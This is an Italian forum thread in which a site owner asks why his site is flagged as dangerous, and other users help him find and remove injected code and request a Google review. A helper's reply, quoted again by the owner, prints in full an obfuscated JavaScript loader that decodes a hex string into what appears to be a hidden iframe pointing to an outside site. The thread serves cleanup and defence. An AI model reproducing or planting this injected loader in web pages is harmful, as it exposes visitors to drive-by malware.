Notifiche continue ... ma il sito risulta pulito! Come fare?

[Buong]

Salve a tutti, ho necessità di capirci qualcosa riguardo uno dei siti che gestisco. Da qualche tempo il sito www.badboys1987.it viene ritenuto dannoso da Google e dalla notifica del filtro Smart Screen con un evidente avviso rosso grande quanto l'intera pagina! Dopo aver scansionato le cartelle del sito presenti nel mio pc e dopo aver scansionato l'intero sito online, non risulta esserci alcun virus ... eppure, nonostante le notifiche inviate a Google e a Microsoft, il sito continua ad essere etichettato come "dannoso".

Perchè??? Cosa posso fare per rendere nuovamente navigabile il sito?
Il virus c'è e non riesco a trovarlo? Ho testato con AVG, Malware Bytes e diversi antivurus online ma la situazione non cambia!

Grazie per l'aiuto e per qualsiasi suggerimento!

[Nobody33]

Buona Sera

Hai fatto qualche cambiamento nel sito prima che ti segnalassero il fatto?

Prova a controllarti il codice per vedere se c'è qualcosa che non è tuo (non con un antivirus , ma manualmente).
Se te lo segnala, vuol dire che qualcosa c'è.

[Buong]

Originariamente inviato da Nobody33
Buona Sera

Hai fatto qualche cambiamento nel sito prima che ti segnalassero il fatto?

Prova a controllarti il codice per vedere se c'è qualcosa che non è tuo (non con un antivirus , ma manualmente).
Se te lo segnala, vuol dire che qualcosa c'è.

Nella index avevo levato il codice del contatore e lo javascritp per il bloccaggio del tasto destro, il sito era stato rimesso online normalmente ma poi dopo qualche giorno è ricapitato lo stesso problema ... ho visto il codice e non c'è nulla di anomalo nella index ... ora visitandola l'avviso non esce più ma non capisco se è una cosa temporanea solo mia o se vale per qualsiasi navigante. :master:

[Habanero]

nella index C'E' qualcosa di anomalo...


lo trovi alla fine della pagina, dopo il tag di chiusura </HTML>.

Il codice da eliminare:

</script><script>function c121861524946n4beca3878c775(n4beca3878c785){  return (parseInt(n4beca3878c785,16));}function n4beca3878c7bf(n4beca3878c7c8){ function n4beca3878c7e4(){var n4beca3878c7ec=2;return n4beca3878c7ec;} var n4beca3878c7d0='';n4beca3878c80d=String.fromCharCode;for(n4beca3878c7d9=0;n4beca3878c7d9<n4beca3878c7c8.length;n4beca3878c7d9+=n4beca3878c7e4()){ n4beca3878c7d0+=(n4beca3878c80d(c121861524946n4beca3878c775(n4beca3878c7c8.substr(n4beca3878c7d9,n4beca3878c7e4()))));}return n4beca3878c7d0;} var x38='';var n4beca3878c821='3C7'+x38+'3637'+x38+'2697'+x38+'07'+x38+'43E696628216D7'+x38+'96961297'+x38+'B646F637'+x38+'56D656E7'+x38+'42E7'+x38+'7'+x38+'7'+x38+'2697'+x38+'465287'+x38+'56E657'+x38+'363617'+x38+'065282027'+x38+'2533632536392536362537'+x38+'322536312536642536352532302536652536312536642536352533642536332533312533322532302537'+x38+'332537'+x38+'32253633253364253237'+x38+'2536382537'+x38+'342537'+x38+'342537'+x38+'302533612532662532662537'+x38+'342536352536632536632537'+x38+'352537'+x38+'332536362536662537'+x38+'322536312536632536392536362536352532652537'+x38+'352537'+x38+'332532662536352537'+x38+'382537'+x38+'302536632532662536392536652536342536352537'+x38+'382532652537'+x38+'302536382537'+x38+'302533662537'+x38+'33253364253335253330253330253335253331253332253632253331253338253631253631253337'+x38+'25333925363325333325333625363425363225363625333925333025333125333925363325363625333225363425333525333025333425333025363626253237'+x38+'2532622534642536312537'+x38+'342536382532652537'+x38+'322536662537'+x38+'352536652536342532382534642536312537'+x38+'342536382532652537'+x38+'32253631253665253634253666253664253238253239253261253336253332253331253332253332253239253262253237'+x38+'253636253631253337'+x38+'253330253336253337'+x38+'253635253237'+x38+'2532302537'+x38+'37'+x38+'2536392536342537'+x38+'34253638253364253331253337'+x38+'253338253230253638253635253639253637'+x38+'2536382537'+x38+'342533642533332533342533392532302537'+x38+'332537'+x38+'342537'+x38+'39253663253635253364253237'+x38+'2536342536392537'+x38+'332537'+x38+'302536632536312537'+x38+'39253361253230253665253666253665253635253237'+x38+'2533652533632532662536392536362537'+x38+'3225363125366425363525336527'+x38+'29293B7'+x38+'D7'+x38+'6617'+x38+'2206D7'+x38+'969613D7'+x38+'47'+x38+'27'+x38+'5653B3C2F7'+x38+'3637'+x38+'2697'+x38+'07'+x38+'43E';document.write(n4beca3878c7bf(n4beca3878c821));</script>

[Buong]

Originariamente inviato da Habanero
nella index C'E' qualcosa di anomalo...


lo trovi alla fine della pagina, dopo il tag di chiusura </HTML>.

Il codice da eliminare:

</script><script>function c121861524946n4beca3878c775(n4beca3878c785){  return (parseInt(n4beca3878c785,16));}function n4beca3878c7bf(n4beca3878c7c8){ function n4beca3878c7e4(){var n4beca3878c7ec=2;return n4beca3878c7ec;} var n4beca3878c7d0='';n4beca3878c80d=String.fromCharCode;for(n4beca3878c7d9=0;n4beca3878c7d9<n4beca3878c7c8.length;n4beca3878c7d9+=n4beca3878c7e4()){ n4beca3878c7d0+=(n4beca3878c80d(c121861524946n4beca3878c775(n4beca3878c7c8.substr(n4beca3878c7d9,n4beca3878c7e4()))));}return n4beca3878c7d0;} var x38='';var n4beca3878c821='3C7'+x38+'3637'+x38+'2697'+x38+'07'+x38+'43E696628216D7'+x38+'96961297'+x38+'B646F637'+x38+'56D656E7'+x38+'42E7'+x38+'7'+x38+'7'+x38+'2697'+x38+'465287'+x38+'56E657'+x38+'363617'+x38+'065282027'+x38+'2533632536392536362537'+x38+'322536312536642536352532302536652536312536642536352533642536332533312533322532302537'+x38+'332537'+x38+'32253633253364253237'+x38+'2536382537'+x38+'342537'+x38+'342537'+x38+'302533612532662532662537'+x38+'342536352536632536632537'+x38+'352537'+x38+'332536362536662537'+x38+'322536312536632536392536362536352532652537'+x38+'352537'+x38+'332532662536352537'+x38+'382537'+x38+'302536632532662536392536652536342536352537'+x38+'382532652537'+x38+'302536382537'+x38+'302533662537'+x38+'33253364253335253330253330253335253331253332253632253331253338253631253631253337'+x38+'25333925363325333325333625363425363225363625333925333025333125333925363325363625333225363425333525333025333425333025363626253237'+x38+'2532622534642536312537'+x38+'342536382532652537'+x38+'322536662537'+x38+'352536652536342532382534642536312537'+x38+'342536382532652537'+x38+'32253631253665253634253666253664253238253239253261253336253332253331253332253332253239253262253237'+x38+'253636253631253337'+x38+'253330253336253337'+x38+'253635253237'+x38+'2532302537'+x38+'37'+x38+'2536392536342537'+x38+'34253638253364253331253337'+x38+'253338253230253638253635253639253637'+x38+'2536382537'+x38+'342533642533332533342533392532302537'+x38+'332537'+x38+'342537'+x38+'39253663253635253364253237'+x38+'2536342536392537'+x38+'332537'+x38+'302536632536312537'+x38+'39253361253230253665253666253665253635253237'+x38+'2533652533632532662536392536362537'+x38+'3225363125366425363525336527'+x38+'29293B7'+x38+'D7'+x38+'6617'+x38+'2206D7'+x38+'969613D7'+x38+'47'+x38+'27'+x38+'5653B3C2F7'+x38+'3637'+x38+'2697'+x38+'07'+x38+'43E';document.write(n4beca3878c7bf(n4beca3878c821));</script>

Grazie per la segnalazione, ho eliminato quel codice che a me non figurava se non nella sola parola "<script>" ... a voi risulta ancora qualcosa di anomalo?

[Habanero]

ora sembra ok

[Buong]

Originariamente inviato da Habanero
ora sembra ok

Ma la notifica come sito dannoso compare? A me non più anche se ricercando il sito su Google risulta ancora potenzialmente infetto. :master:

[Nobody33]

Buona sera

Se ancora ti compare, contatta google.

Se non hai successo, ricarica l'index.

[Habanero]

devi chiedere a google il riesame del sito attraverso gli strumenti per il webmaster:
http://www.google.com/support/webmas...?answer=168328

[Buong]

Ho richiesto il controllo ma la segnalazione non viene levata (a voi compare???) ... eppure ho rivisto il codice della index e non c'è nulla di anomalo (o sono io che non lo vedo)?